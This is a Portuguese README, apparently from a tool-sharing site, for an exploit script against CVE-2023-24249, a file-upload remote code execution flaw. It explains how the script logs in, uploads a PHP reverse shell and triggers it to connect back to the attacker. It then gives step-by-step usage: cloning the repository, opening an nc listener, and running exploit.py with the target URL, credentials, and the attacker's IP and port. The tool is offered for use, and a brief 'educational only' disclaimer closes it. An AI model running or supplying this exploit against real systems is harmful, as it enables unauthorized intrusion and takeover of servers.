CVE-2023-24249-Exploit

Script de exploit para CVE-2023-24249 - uma vulnerabilidade que permite execução remota de código via upload de arquivos e injeção de comandos.

Script de Exploit

O script de exploit fornecido automatiza o processo de exploração da CVE-2023-24249. Ele executa as seguintes etapas:

1. Autenticar: Faz login no aplicativo alvo usando as credenciais fornecidas.
2. Enviar Reverse Shell: Envia um script de reverse shell em PHP por meio da funcionalidade vulnerável de upload de arquivos.
3. Executar Reverse Shell: Envia uma solicitação GET para o script de reverse shell enviado, a fim de executá-lo e estabelecer uma conexão de volta para a máquina do atacante.

Requisitos

• Python 3
• Biblioteca requests
• Biblioteca beautifulsoup4

Instale as bibliotecas necessárias usando pip:

Uso

1. Clone o repositório:

   root@kitploit:~

   git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit.git
   cd CVE-2023-24249-Exploit
   

2. Inicie um listener na sua máquina:

   root@kitploit:~

   nc -lvnp <PORT>
   

3. Execute o script de exploit:

   root@kitploit:~

   python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -i <YOUR_IP> -p <YOUR_PORT>
   

   Substitua <TARGET_URL>, <USERNAME>, <PASSWORD>, <YOUR_IP> e <YOUR_PORT> pelos valores apropriados:

   • <TARGET_URL>: A URL do aplicativo alvo.
   • <USERNAME>: O nome de usuário para autenticação.
   • <PASSWORD>: A senha para autenticação.
   • <YOUR_IP>: Seu endereço IP para receber a conexão da reverse shell.
   • <YOUR_PORT>: A porta na qual seu listener está executando.

Exemplo

Saída do Script

Se o exploit for bem-sucedido, o script exibirá:

Aviso Legal

Este script destina-se apenas a fins educacionais. O uso não autorizado deste script contra qualquer sistema sem permissão explícita é ilegal e antiético. O autor não é responsável por qualquer uso indevido ou dano causado por este script.